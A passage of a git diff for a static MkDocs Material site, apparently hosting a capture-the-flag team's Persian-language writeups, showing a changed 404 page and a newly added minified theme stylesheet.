diff --git a/404.html b/404.html index d869379a..ae9b298a 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ - رایتاپ‌های تیم فلگ موتوری

404 - Not found

\ No newline at end of file + رایتاپ‌های تیم فلگ موتوری

404 - Not found

\ No newline at end of file diff --git a/assets/stylesheets/main.3cba04c6.min.css b/assets/stylesheets/main.3cba04c6.min.css new file mode 100644 index 00000000..873f8fee --- /dev/null +++ b/assets/stylesheets/main.3cba04c6.min.css @@ -0,0 +1 @@ +@charset "UTF-8";html{-webkit-text-size-adjust:none;-moz-text-size-adjust:none;text-size-adjust:none;box-sizing:border-box}*,:after,:before{box-sizing:inherit}@media (prefers-reduced-motion){*,:after,:before{transition:none!important}}body{margin:0}a,button,input,label{-webkit-tap-highlight-color:transparent}a{color:inherit;text-decoration:none}hr{border:0;box-sizing:initial;display:block;height:.05rem;overflow:visible;padding:0}small{font-size:80%}sub,sup{line-height:1em}img{border-style:none}table{border-collapse:initial;border-spacing:0}td,th{font-weight:400;vertical-align:top}button{background:#0000;border:0;font-family:inherit;font-size:inherit;margin:0;padding:0}input{border:0;outline:none}:root{--md-primary-fg-color:#4051b5;--md-primary-fg-color--light:#5d6cc0;--md-primary-fg-color--dark:#303fa1;--md-primary-bg-color:#fff;--md-primary-bg-color--light:#ffffffb3;--md-accent-fg-color:#526cfe;--md-accent-fg-color--transparent:#526cfe1a;--md-accent-bg-color:#fff;--md-accent-bg-color--light:#ffffffb3}[data-md-color-scheme=default]{color-scheme:light}[data-md-color-scheme=default] img[src$="#gh-dark-mode-only"],[data-md-color-scheme=default] img[src$="#only-dark"]{display:none}:root,[data-md-color-scheme=default]{--md-hue:225deg;--md-default-fg-color:#000000de;--md-default-fg-color--light:#0000008a;--md-default-fg-color--lighter:#00000052;--md-default-fg-color--lightest:#00000012;--md-default-bg-color:#fff;--md-default-bg-color--light:#ffffffb3;--md-default-bg-color--lighter:#ffffff4d;--md-default-bg-color--lightest:#ffffff1f;--md-code-fg-color:#36464e;--md-code-bg-color:#f5f5f5;--md-code-hl-color:#4287ff;--md-code-hl-color--light:#4287ff1a;--md-code-hl-number-color:#d52a2a;--md-code-hl-special-color:#db1457;--md-code-hl-function-color:#a846b9;--md-code-hl-constant-color:#6e59d9;--md-code-hl-keyword-color:#3f6ec6;--md-code-hl-string-color:#1c7d4d;--md-code-hl-name-color:var(--md-code-fg-color);--md-code-hl-operator-color:var(--md-default-fg-color--light);--md-code-hl-punctuation-color:var(--md-default-fg-color--light);--md-code-hl-comment-color:var(--md-default-fg-color--light);--md-code-hl-generic-color:var(--md-default-fg-color--light);--md-code-hl-variable-color:var(--md-default-fg-color--light);--md-typeset-color:var(--md-default-fg-color);--md-typeset-a-color:var(--md-primary-fg-color);--md-typeset-del-color:#f5503d26;--md-typeset-ins-color:#0bd57026;--md-typeset-kbd-color:#fafafa;--md-typeset-kbd-accent-color:#fff;--md-typeset-kbd-border-color:#b8b8b8;--md-typeset-mark-color:#ffff0080;--md-typeset-table-color:#0000001f;--md-typeset-table-color--light:rgba(0,0,0,.035);--md-admonition-fg-color:var(--md-default-fg-color);--md-admonition-bg-color:var(--md-default-bg-color);--md-warning-fg-color:#000000de;--md-warning-bg-color:#ff9;--md-footer-fg-color:#fff;--md-footer-fg-color--light:#ffffffb3;--md-footer-fg-color--lighter:#ffffff73;--md-footer-bg-color:#000000de;--md-footer-bg-color--dark:#00000052;--md-shadow-z1:0 0.2rem 0.5rem #0000000d,0 0 0.05rem #0000001a;--md-shadow-z2:0 0.2rem 0.5rem #0000001a,0 0 0.05rem #00000040;--md-shadow-z3:0 0.2rem 0.5rem #0003,0 0 0.05rem #00000059}.md-icon svg{fill:currentcolor;display:block;height:1.2rem;width:1.2rem}body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;--md-text-font-family:var(--md-text-font,_),-apple-system,BlinkMacSystemFont,Helvetica,Arial,sans-serif;--md-code-font-family:var(--md-code-font,_),SFMono-Regular,Consolas,Menlo,monospace}aside,body,input{font-feature-settings:"kern","liga";color:var(--md-typeset-color);font-family:var(--md-text-font-family)}code,kbd,pre{font-feature-settings:"kern";font-family:var(--md-code-font-family)}:root{--md-typeset-table-sort-icon:url('data:image/svg+xml;charset=utf-8,');--md-typeset-table-sort-icon--asc:url('data:image/svg+xml;charset=utf-8,');--md-typeset-table-sort-icon--desc:url('data:image/svg+xml;charset=utf-8,')}.md-typeset{-webkit-print-color-adjust:exact;color-adjust:exact;font-size:.8rem;line-height:1.6}@media print{.md-typeset{font-size:.68rem}}.md-typeset blockquote,.md-typeset dl,.md-typeset figure,.md-typeset ol,.md-typeset pre,.md-typeset ul{margin-bottom:1em;margin-top:1em}.md-typeset h1{color:var(--md-default-fg-color--light);font-size:2em;line-height:1.3;margin:0 0 1.25em}.md-typeset h1,.md-typeset h2{font-weight:300;letter-spacing:-.01em}.md-typeset h2{font-size:1.5625em;line-height:1.4;margin:1.6em 0 .64em}.md-typeset h3{font-size:1.25em;font-weight:400;letter-spacing:-.01em;line-height:1.5;margin:1.6em 0 .8em}.md-typeset h2+h3{margin-top:.8em}.md-typeset h4{font-weight:700;letter-spacing:-.01em;margin:1em 0}.md-typeset h5,.md-typeset h6{color:var(--md-default-fg-color--light);font-size:.8em;font-weight:700;letter-spacing:-.01em;margin:1.25em 0}.md-typeset h5{text-transform:uppercase}.md-typeset hr{border-bottom:.05rem solid var(--md-default-fg-color--lightest);display:flow-root;margin:1.5em 0}.md-typeset a{color:var(--md-typeset-a-color);word-break:break-word}.md-typeset a,.md-typeset a:before{transition:color 125ms}.md-typeset a:focus,.md-typeset a:hover{color:var(--md-accent-fg-color)}.md-typeset a:focus code,.md-typeset a:hover code{background-color:var(--md-accent-fg-color--transparent)}.md-typeset a code{color:currentcolor;transition:background-color 125ms}.md-typeset a.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-typeset code,.md-typeset kbd,.md-typeset pre{color:var(--md-code-fg-color);direction:ltr;font-variant-ligatures:none}@media print{.md-typeset code,.md-typeset kbd,.md-typeset pre{white-space:pre-wrap}}.md-typeset code{background-color:var(--md-code-bg-color);border-radius:.1rem;-webkit-box-decoration-break:clone;box-decoration-break:clone;font-size:.85em;padding:0 .2941176471em;word-break:break-word}.md-typeset code:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}.md-typeset pre{display:flow-root;line-height:1.4;position:relative}.md-typeset pre>code{-webkit-box-decoration-break:slice;box-decoration-break:slice;box-shadow:none;display:block;margin:0;outline-color:var(--md-accent-fg-color);overflow:auto;padding:.7720588235em 1.1764705882em;scrollbar-color:var(--md-default-fg-color--lighter) #0000;scrollbar-width:thin;touch-action:auto;word-break:normal}.md-typeset pre>code:hover{scrollbar-color:var(--md-accent-fg-color) #0000}.md-typeset pre>code::-webkit-scrollbar{height:.2rem;width:.2rem}.md-typeset pre>code::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-typeset pre>code::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}.md-typeset kbd{background-color:var(--md-typeset-kbd-color);border-radius:.1rem;box-shadow:0 .1rem 0 .05rem var(--md-typeset-kbd-border-color),0 .1rem 0 var(--md-typeset-kbd-border-color),0 -.1rem .2rem var(--md-typeset-kbd-accent-color) inset;color:var(--md-default-fg-color);display:inline-block;font-size:.75em;padding:0 .6666666667em;vertical-align:text-top;word-break:break-word}.md-typeset mark{background-color:var(--md-typeset-mark-color);-webkit-box-decoration-break:clone;box-decoration-break:clone;color:inherit;word-break:break-word}.md-typeset abbr{border-bottom:.05rem dotted var(--md-default-fg-color--light);cursor:help;text-decoration:none}.md-typeset small{opacity:.75}[dir=ltr] .md-typeset sub,[dir=ltr] .md-typeset sup{margin-left:.078125em}[dir=rtl] .md-typeset sub,[dir=rtl] .md-typeset sup{margin-right:.078125em}[dir=ltr] .md-typeset blockquote{padding-left:.6rem}[dir=rtl] .md-typeset blockquote{padding-right:.6rem}[dir=ltr] .md-typeset blockquote{border-left:.2rem solid var(--md-default-fg-color--lighter)}[dir=rtl] .md-typeset blockquote{border-right:.2rem solid var(--md-default-fg-color--lighter)}.md-typeset blockquote{color:var(--md-default-fg-color--light);margin-left:0;margin-right:0}.md-typeset ul{list-style-type:disc}[dir=ltr] .md-typeset ol,[dir=ltr] .md-typeset ul{margin-left:.625em}[dir=rtl] .md-typeset ol,[dir=rtl] .md-typeset ul{margin-right:.625em}.md-typeset ol,.md-typeset ul{padding:0}.md-typeset ol:not([hidden]),.md-typeset ul:not([hidden]){display:flow-root}.md-typeset ol ol,.md-typeset ul ol{list-style-type:lower-alpha}.md-typeset ol ol ol,.md-typeset ul ol ol{list-style-type:lower-roman}[dir=ltr] .md-typeset ol li,[dir=ltr] .md-typeset ul li{margin-left:1.25em}[dir=rtl] .md-typeset ol li,[dir=rtl] .md-typeset ul li{margin-right:1.25em}.md-typeset ol li,.md-typeset ul li{margin-bottom:.5em}.md-typeset ol li blockquote,.md-typeset ol li p,.md-typeset ul li blockquote,.md-typeset ul li p{margin:.5em 0}.md-typeset ol li:last-child,.md-typeset ul li:last-child{margin-bottom:0}[dir=ltr] .md-typeset ol li ol,[dir=ltr] .md-typeset ol li ul,[dir=ltr] .md-typeset ul li ol,[dir=ltr] .md-typeset ul li ul{margin-left:.625em}[dir=rtl] .md-typeset ol li ol,[dir=rtl] .md-typeset ol li ul,[dir=rtl] .md-typeset ul li ol,[dir=rtl] .md-typeset ul li ul{margin-right:.625em}.md-typeset ol li ol,.md-typeset ol li ul,.md-typeset ul li ol,.md-typeset ul li ul{margin-bottom:.5em;margin-top:.5em}[dir=ltr] .md-typeset dd{margin-left:1.875em}[dir=rtl] .md-typeset dd{margin-right:1.875em}.md-typeset dd{margin-bottom:1.5em;margin-top:1em}.md-typeset img,.md-typeset svg,.md-typeset video{height:auto;max-width:100%}.md-typeset img[align=left]{margin:1em 1em 1em 0}.md-typeset img[align=right]{margin:1em 0 1em 1em}.md-typeset img[align]:only-child{margin-top:0}.md-typeset figure{display:flow-root;margin:1em auto;max-width:100%;text-align:center;width:-moz-fit-content;width:fit-content}.md-typeset figure img{display:block;margin:0 auto}.md-typeset figcaption{font-style:italic;margin:1em auto;max-width:24rem}.md-typeset iframe{max-width:100%}.md-typeset table:not([class]){background-color:var(--md-default-bg-color);border:.05rem solid var(--md-typeset-table-color);border-radius:.1rem;display:inline-block;font-size:.64rem;max-width:100%;overflow:auto;touch-action:auto}@media print{.md-typeset table:not([class]){display:table}}.md-typeset table:not([class])+*{margin-top:1.5em}.md-typeset table:not([class]) td>:first-child,.md-typeset table:not([class]) th>:first-child{margin-top:0}.md-typeset table:not([class]) td>:last-child,.md-typeset table:not([class]) th>:last-child{margin-bottom:0}.md-typeset table:not([class]) td:not([align]),.md-typeset table:not([class]) th:not([align]){text-align:left}[dir=rtl] .md-typeset table:not([class]) td:not([align]),[dir=rtl] .md-typeset table:not([class]) th:not([align]){text-align:right}.md-typeset table:not([class]) th{font-weight:700;min-width:5rem;padding:.9375em 1.25em;vertical-align:top}.md-typeset table:not([class]) td{border-top:.05rem solid var(--md-typeset-table-color);padding:.9375em 1.25em;vertical-align:top}.md-typeset table:not([class]) tbody tr{transition:background-color 125ms}.md-typeset table:not([class]) tbody tr:hover{background-color:var(--md-typeset-table-color--light);box-shadow:0 .05rem 0 var(--md-default-bg-color) inset}.md-typeset table:not([class]) a{word-break:normal}.md-typeset table th[role=columnheader]{cursor:pointer}[dir=ltr] .md-typeset table th[role=columnheader]:after{margin-left:.5em}[dir=rtl] .md-typeset table th[role=columnheader]:after{margin-right:.5em}.md-typeset table th[role=columnheader]:after{content:"";display:inline-block;height:1.2em;-webkit-mask-image:var(--md-typeset-table-sort-icon);mask-image:var(--md-typeset-table-sort-icon);-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:background-color 125ms;vertical-align:text-bottom;width:1.2em}.md-typeset table th[role=columnheader]:hover:after{background-color:var(--md-default-fg-color--lighter)}.md-typeset table th[role=columnheader][aria-sort=ascending]:after{background-color:var(--md-default-fg-color--light);-webkit-mask-image:var(--md-typeset-table-sort-icon--asc);mask-image:var(--md-typeset-table-sort-icon--asc)}.md-typeset table th[role=columnheader][aria-sort=descending]:after{background-color:var(--md-default-fg-color--light);-webkit-mask-image:var(--md-typeset-table-sort-icon--desc);mask-image:var(--md-typeset-table-sort-icon--desc)}.md-typeset__scrollwrap{margin:1em -.8rem;overflow-x:auto;touch-action:auto}.md-typeset__table{display:inline-block;margin-bottom:.5em;padding:0 .8rem}@media print{.md-typeset__table{display:block}}html .md-typeset__table table{display:table;margin:0;overflow:hidden;width:100%}@media screen and (max-width:44.984375em){.md-content__inner>pre{margin:1em -.8rem}.md-content__inner>pre code{border-radius:0}}.md-typeset .md-author{border-radius:100%;display:block;flex-shrink:0;height:1.6rem;overflow:hidden;position:relative;transition:color 125ms,transform 125ms;width:1.6rem}.md-typeset .md-author img{display:block}.md-typeset .md-author--more{background:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--lighter);font-size:.6rem;font-weight:700;line-height:1.6rem;text-align:center}.md-typeset .md-author--long{height:2.4rem;width:2.4rem}.md-typeset a.md-author{transform:scale(1)}.md-typeset a.md-author img{border-radius:100%;filter:grayscale(100%) opacity(75%);transition:filter 125ms}.md-typeset a.md-author:focus,.md-typeset a.md-author:hover{transform:scale(1.1);z-index:1}.md-typeset a.md-author:focus img,.md-typeset a.md-author:hover img{filter:grayscale(0)}.md-banner{background-color:var(--md-footer-bg-color);color:var(--md-footer-fg-color);overflow:auto}@media print{.md-banner{display:none}}.md-banner--warning{background-color:var(--md-warning-bg-color);color:var(--md-warning-fg-color)}.md-banner__inner{font-size:.7rem;margin:.6rem auto;padding:0 .8rem}[dir=ltr] .md-banner__button{float:right}[dir=rtl] .md-banner__button{float:left}.md-banner__button{color:inherit;cursor:pointer;transition:opacity .25s}.no-js .md-banner__button{display:none}.md-banner__button:hover{opacity:.7}html{font-size:125%;height:100%;overflow-x:hidden}@media screen and (min-width:100em){html{font-size:137.5%}}@media screen and (min-width:125em){html{font-size:150%}}body{background-color:var(--md-default-bg-color);display:flex;flex-direction:column;font-size:.5rem;min-height:100%;position:relative;width:100%}@media print{body{display:block}}@media screen and (max-width:59.984375em){body[data-md-scrolllock]{position:fixed}}.md-grid{margin-left:auto;margin-right:auto;max-width:61rem}.md-container{display:flex;flex-direction:column;flex-grow:1}@media print{.md-container{display:block}}.md-main{flex-grow:1}.md-main__inner{display:flex;height:100%;margin-top:1.5rem}.md-ellipsis{overflow:hidden;text-overflow:ellipsis}.md-toggle{display:none}.md-option{height:0;opacity:0;position:absolute;width:0}.md-option:checked+label:not([hidden]){display:block}.md-option.focus-visible+label{outline-color:var(--md-accent-fg-color);outline-style:auto}.md-skip{background-color:var(--md-default-fg-color);border-radius:.1rem;color:var(--md-default-bg-color);font-size:.64rem;margin:.5rem;opacity:0;outline-color:var(--md-accent-fg-color);padding:.3rem .5rem;position:fixed;transform:translateY(.4rem);z-index:-1}.md-skip:focus{opacity:1;transform:translateY(0);transition:transform .25s cubic-bezier(.4,0,.2,1),opacity 175ms 75ms;z-index:10}@page{margin:25mm}:root{--md-clipboard-icon:url('data:image/svg+xml;charset=utf-8,')}.md-clipboard{border-radius:.1rem;color:var(--md-default-fg-color--lightest);cursor:pointer;height:1.5em;outline-color:var(--md-accent-fg-color);outline-offset:.1rem;position:absolute;right:.5em;top:.5em;transition:color .25s;width:1.5em;z-index:1}@media print{.md-clipboard{display:none}}.md-clipboard:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}:hover>.md-clipboard{color:var(--md-default-fg-color--light)}.md-clipboard:focus,.md-clipboard:hover{color:var(--md-accent-fg-color)}.md-clipboard:after{background-color:currentcolor;content:"";display:block;height:1.125em;margin:0 auto;-webkit-mask-image:var(--md-clipboard-icon);mask-image:var(--md-clipboard-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:1.125em}.md-clipboard--inline{cursor:pointer}.md-clipboard--inline code{transition:color .25s,background-color .25s}.md-clipboard--inline:focus code,.md-clipboard--inline:hover code{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-typeset .md-code__content{display:grid}@keyframes consent{0%{opacity:0;transform:translateY(100%)}to{opacity:1;transform:translateY(0)}}@keyframes overlay{0%{opacity:0}to{opacity:1}}.md-consent__overlay{animation:overlay .25s both;-webkit-backdrop-filter:blur(.1rem);backdrop-filter:blur(.1rem);background-color:#0000008a;height:100%;opacity:1;position:fixed;top:0;width:100%;z-index:5}.md-consent__inner{animation:consent .5s cubic-bezier(.1,.7,.1,1) both;background-color:var(--md-default-bg-color);border:0;border-radius:.1rem;bottom:0;box-shadow:0 0 .2rem #0000001a,0 .2rem .4rem #0003;max-height:100%;overflow:auto;padding:0;position:fixed;width:100%;z-index:5}.md-consent__form{padding:.8rem}.md-consent__settings{display:none;margin:1em 0}input:checked+.md-consent__settings{display:block}.md-consent__controls{margin-bottom:.8rem}.md-typeset .md-consent__controls .md-button{display:inline}@media screen and (max-width:44.984375em){.md-typeset .md-consent__controls .md-button{display:block;margin-top:.4rem;text-align:center;width:100%}}.md-consent label{cursor:pointer}.md-content{flex-grow:1;min-width:0}.md-content__inner{margin:0 .8rem 1.2rem;padding-top:.6rem}@media screen and (min-width:76.25em){[dir=ltr] .md-sidebar--primary:not([hidden])~.md-content>.md-content__inner{margin-left:1.2rem}[dir=ltr] .md-sidebar--secondary:not([hidden])~.md-content>.md-content__inner,[dir=rtl] .md-sidebar--primary:not([hidden])~.md-content>.md-content__inner{margin-right:1.2rem}[dir=rtl] .md-sidebar--secondary:not([hidden])~.md-content>.md-content__inner{margin-left:1.2rem}}.md-content__inner:before{content:"";display:block;height:.4rem}.md-content__inner>:last-child{margin-bottom:0}[dir=ltr] .md-content__button{float:right}[dir=rtl] .md-content__button{float:left}[dir=ltr] .md-content__button{margin-left:.4rem}[dir=rtl] .md-content__button{margin-right:.4rem}.md-content__button{margin:.4rem 0;padding:0}@media print{.md-content__button{display:none}}.md-typeset .md-content__button{color:var(--md-default-fg-color--lighter)}.md-content__button svg{display:inline;vertical-align:top}[dir=rtl] .md-content__button svg{transform:scaleX(-1)}[dir=ltr] .md-dialog{right:.8rem}[dir=rtl] .md-dialog{left:.8rem}.md-dialog{background-color:var(--md-default-fg-color);border-radius:.1rem;bottom:.8rem;box-shadow:var(--md-shadow-z3);min-width:11.1rem;opacity:0;padding:.4rem .6rem;pointer-events:none;position:fixed;transform:translateY(100%);transition:transform 0ms .4s,opacity .4s;z-index:4}@media print{.md-dialog{display:none}}.md-dialog--active{opacity:1;pointer-events:auto;transform:translateY(0);transition:transform .4s cubic-bezier(.075,.85,.175,1),opacity .4s}.md-dialog__inner{color:var(--md-default-bg-color);font-size:.7rem}.md-feedback{margin:2em 0 1em;text-align:center}.md-feedback fieldset{border:none;margin:0;padding:0}.md-feedback__title{font-weight:700;margin:1em auto}.md-feedback__inner{position:relative}.md-feedback__list{display:flex;flex-wrap:wrap;place-content:baseline center;position:relative}.md-feedback__list:hover .md-icon:not(:disabled){color:var(--md-default-fg-color--lighter)}:disabled .md-feedback__list{min-height:1.8rem}.md-feedback__icon{color:var(--md-default-fg-color--light);cursor:pointer;flex-shrink:0;margin:0 .1rem;transition:color 125ms}.md-feedback__icon:not(:disabled).md-icon:hover{color:var(--md-accent-fg-color)}.md-feedback__icon:disabled{color:var(--md-default-fg-color--lightest);pointer-events:none}.md-feedback__note{opacity:0;position:relative;transform:translateY(.4rem);transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .15s}.md-feedback__note>*{margin:0 auto;max-width:16rem}:disabled .md-feedback__note{opacity:1;transform:translateY(0)}.md-footer{background-color:var(--md-footer-bg-color);color:var(--md-footer-fg-color)}@media print{.md-footer{display:none}}.md-footer__inner{justify-content:space-between;overflow:auto;padding:.2rem}.md-footer__inner:not([hidden]){display:flex}.md-footer__link{align-items:end;display:flex;flex-grow:0.01;margin-bottom:.4rem;margin-top:1rem;max-width:100%;outline-color:var(--md-accent-fg-color);overflow:hidden;transition:opacity .25s}.md-footer__link:focus,.md-footer__link:hover{opacity:.7}[dir=rtl] .md-footer__link svg{transform:scaleX(-1)}@media screen and (max-width:44.984375em){.md-footer__link--prev{flex-shrink:0}.md-footer__link--prev .md-footer__title{display:none}}[dir=ltr] .md-footer__link--next{margin-left:auto}[dir=rtl] .md-footer__link--next{margin-right:auto}.md-footer__link--next{text-align:right}[dir=rtl] .md-footer__link--next{text-align:left}.md-footer__title{flex-grow:1;font-size:.9rem;margin-bottom:.7rem;max-width:calc(100% - 2.4rem);padding:0 1rem;white-space:nowrap}.md-footer__button{margin:.2rem;padding:.4rem}.md-footer__direction{font-size:.64rem;opacity:.7}.md-footer-meta{background-color:var(--md-footer-bg-color--dark)}.md-footer-meta__inner{display:flex;flex-wrap:wrap;justify-content:space-between;padding:.2rem}html .md-footer-meta.md-typeset a{color:var(--md-footer-fg-color--light)}html .md-footer-meta.md-typeset a:focus,html .md-footer-meta.md-typeset a:hover{color:var(--md-footer-fg-color)}.md-copyright{color:var(--md-footer-fg-color--lighter);font-size:.64rem;margin:auto .6rem;padding:.4rem 0;width:100%}@media screen and (min-width:45em){.md-copyright{width:auto}}.md-copyright__highlight{color:var(--md-footer-fg-color--light)}.md-social{display:inline-flex;gap:.2rem;margin:0 .4rem;padding:.2rem 0 .6rem}@media screen and (min-width:45em){.md-social{padding:.6rem 0}}.md-social__link{display:inline-block;height:1.6rem;text-align:center;width:1.6rem}.md-social__link:before{line-height:1.9}.md-social__link svg{fill:currentcolor;max-height:.8rem;vertical-align:-25%}.md-typeset .md-button{border:.1rem solid;border-radius:.1rem;color:var(--md-primary-fg-color);cursor:pointer;display:inline-block;font-weight:700;padding:.625em 2em;transition:color 125ms,background-color 125ms,border-color 125ms}.md-typeset .md-button--primary{background-color:var(--md-primary-fg-color);border-color:var(--md-primary-fg-color);color:var(--md-primary-bg-color)}.md-typeset .md-button:focus,.md-typeset .md-button:hover{background-color:var(--md-accent-fg-color);border-color:var(--md-accent-fg-color);color:var(--md-accent-bg-color)}[dir=ltr] .md-typeset .md-input{border-top-left-radius:.1rem}[dir=ltr] .md-typeset .md-input,[dir=rtl] .md-typeset .md-input{border-top-right-radius:.1rem}[dir=rtl] .md-typeset .md-input{border-top-left-radius:.1rem}.md-typeset .md-input{border-bottom:.1rem solid var(--md-default-fg-color--lighter);box-shadow:var(--md-shadow-z1);font-size:.8rem;height:1.8rem;padding:0 .6rem;transition:border .25s,box-shadow .25s}.md-typeset .md-input:focus,.md-typeset .md-input:hover{border-bottom-color:var(--md-accent-fg-color);box-shadow:var(--md-shadow-z2)}.md-typeset .md-input--stretch{width:100%}.md-header{background-color:var(--md-primary-fg-color);box-shadow:0 0 .2rem #0000,0 .2rem .4rem #0000;color:var(--md-primary-bg-color);display:block;left:0;position:sticky;right:0;top:0;z-index:4}@media print{.md-header{display:none}}.md-header[hidden]{transform:translateY(-100%);transition:transform .25s cubic-bezier(.8,0,.6,1),box-shadow .25s}.md-header--shadow{box-shadow:0 0 .2rem #0000001a,0 .2rem .4rem #0003;transition:transform .25s cubic-bezier(.1,.7,.1,1),box-shadow .25s}.md-header__inner{align-items:center;display:flex;padding:0 .2rem}.md-header__button{color:currentcolor;cursor:pointer;margin:.2rem;outline-color:var(--md-accent-fg-color);padding:.4rem;position:relative;transition:opacity .25s;vertical-align:middle;z-index:1}.md-header__button:hover{opacity:.7}.md-header__button:not([hidden]){display:inline-block}.md-header__button:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}.md-header__button.md-logo{margin:.2rem;padding:.4rem}@media screen and (max-width:76.234375em){.md-header__button.md-logo{display:none}}.md-header__button.md-logo img,.md-header__button.md-logo svg{fill:currentcolor;display:block;height:1.2rem;width:auto}@media screen and (min-width:60em){.md-header__button[for=__search]{display:none}}.no-js .md-header__button[for=__search]{display:none}[dir=rtl] .md-header__button[for=__search] svg{transform:scaleX(-1)}@media screen and (min-width:76.25em){.md-header__button[for=__drawer]{display:none}}.md-header__topic{display:flex;max-width:100%;position:absolute;transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .15s;white-space:nowrap}.md-header__topic+.md-header__topic{opacity:0;pointer-events:none;transform:translateX(1.25rem);transition:transform .4s cubic-bezier(1,.7,.1,.1),opacity .15s;z-index:-1}[dir=rtl] .md-header__topic+.md-header__topic{transform:translateX(-1.25rem)}.md-header__topic:first-child{font-weight:700}[dir=ltr] .md-header__title{margin-left:1rem;margin-right:.4rem}[dir=rtl] .md-header__title{margin-left:.4rem;margin-right:1rem}.md-header__title{flex-grow:1;font-size:.9rem;height:2.4rem;line-height:2.4rem}.md-header__title--active .md-header__topic{opacity:0;pointer-events:none;transform:translateX(-1.25rem);transition:transform .4s cubic-bezier(1,.7,.1,.1),opacity .15s;z-index:-1}[dir=rtl] .md-header__title--active .md-header__topic{transform:translateX(1.25rem)}.md-header__title--active .md-header__topic+.md-header__topic{opacity:1;pointer-events:auto;transform:translateX(0);transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .15s;z-index:0}.md-header__title>.md-header__ellipsis{height:100%;position:relative;width:100%}.md-header__option{display:flex;flex-shrink:0;max-width:100%;transition:max-width 0ms .25s,opacity .25s .25s;white-space:nowrap}[data-md-toggle=search]:checked~.md-header .md-header__option{max-width:0;opacity:0;transition:max-width 0ms,opacity 0ms}.md-header__option>input{bottom:0}.md-header__source{display:none}@media screen and (min-width:60em){[dir=ltr] .md-header__source{margin-left:1rem}[dir=rtl] .md-header__source{margin-right:1rem}.md-header__source{display:block;max-width:11.7rem;width:11.7rem}}@media screen and (min-width:76.25em){[dir=ltr] .md-header__source{margin-left:1.4rem}[dir=rtl] .md-header__source{margin-right:1.4rem}}.md-meta{color:var(--md-default-fg-color--light);font-size:.7rem;line-height:1.3}.md-meta__list{display:inline-flex;flex-wrap:wrap;list-style:none;margin:0;padding:0}.md-meta__item:not(:last-child):after{content:"·";margin-left:.2rem;margin-right:.2rem}.md-meta__link{color:var(--md-typeset-a-color)}.md-meta__link:focus,.md-meta__link:hover{color:var(--md-accent-fg-color)}.md-draft{background-color:#ff1744;border-radius:.125em;color:#fff;display:inline-block;font-weight:700;padding-left:.5714285714em;padding-right:.5714285714em}:root{--md-nav-icon--prev:url('data:image/svg+xml;charset=utf-8,');--md-nav-icon--next:url('data:image/svg+xml;charset=utf-8,');--md-toc-icon:url('data:image/svg+xml;charset=utf-8,')}.md-nav{font-size:.7rem;line-height:1.3}.md-nav__title{color:var(--md-default-fg-color--light);display:block;font-weight:700;overflow:hidden;padding:0 .6rem;text-overflow:ellipsis}.md-nav__title .md-nav__button{display:none}.md-nav__title .md-nav__button img{height:100%;width:auto}.md-nav__title .md-nav__button.md-logo img,.md-nav__title .md-nav__button.md-logo svg{fill:currentcolor;display:block;height:2.4rem;max-width:100%;object-fit:contain;width:auto}.md-nav__list{list-style:none;margin:0;padding:0}.md-nav__link{align-items:flex-start;display:flex;gap:.4rem;margin-top:.625em;scroll-snap-align:start;transition:color 125ms}.md-nav__link--passed{color:var(--md-default-fg-color--light)}.md-nav__item .md-nav__link--active,.md-nav__item .md-nav__link--active code{color:var(--md-typeset-a-color)}.md-nav__link .md-ellipsis{position:relative}[dir=ltr] .md-nav__link .md-icon:last-child{margin-left:auto}[dir=rtl] .md-nav__link .md-icon:last-child{margin-right:auto}.md-nav__link svg{fill:currentcolor;flex-shrink:0;height:1.3em;position:relative}.md-nav__link[for]:focus,.md-nav__link[for]:hover,.md-nav__link[href]:focus,.md-nav__link[href]:hover{color:var(--md-accent-fg-color);cursor:pointer}.md-nav__link.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-nav--primary .md-nav__link[for=__toc]{display:none}.md-nav--primary .md-nav__link[for=__toc] .md-icon:after{background-color:currentcolor;display:block;height:100%;-webkit-mask-image:var(--md-toc-icon);mask-image:var(--md-toc-icon);width:100%}.md-nav--primary .md-nav__link[for=__toc]~.md-nav{display:none}.md-nav__container>.md-nav__link{margin-top:0}.md-nav__container>.md-nav__link:first-child{flex-grow:1;min-width:0}.md-nav__icon{flex-shrink:0}.md-nav__source{display:none}@media screen and (max-width:76.234375em){.md-nav--primary,.md-nav--primary .md-nav{background-color:var(--md-default-bg-color);display:flex;flex-direction:column;height:100%;left:0;position:absolute;right:0;top:0;z-index:1}.md-nav--primary .md-nav__item,.md-nav--primary .md-nav__title{font-size:.8rem;line-height:1.5}.md-nav--primary .md-nav__title{background-color:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--light);cursor:pointer;height:5.6rem;line-height:2.4rem;padding:3rem .8rem .2rem;position:relative;white-space:nowrap}[dir=ltr] .md-nav--primary .md-nav__title .md-nav__icon{left:.4rem}[dir=rtl] .md-nav--primary .md-nav__title .md-nav__icon{right:.4rem}.md-nav--primary .md-nav__title .md-nav__icon{display:block;height:1.2rem;margin:.2rem;position:absolute;top:.4rem;width:1.2rem}.md-nav--primary .md-nav__title .md-nav__icon:after{background-color:currentcolor;content:"";display:block;height:100%;-webkit-mask-image:var(--md-nav-icon--prev);mask-image:var(--md-nav-icon--prev);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:100%}.md-nav--primary .md-nav__title~.md-nav__list{background-color:var(--md-default-bg-color);box-shadow:0 .05rem 0 var(--md-default-fg-color--lightest) inset;overflow-y:auto;scroll-snap-type:y 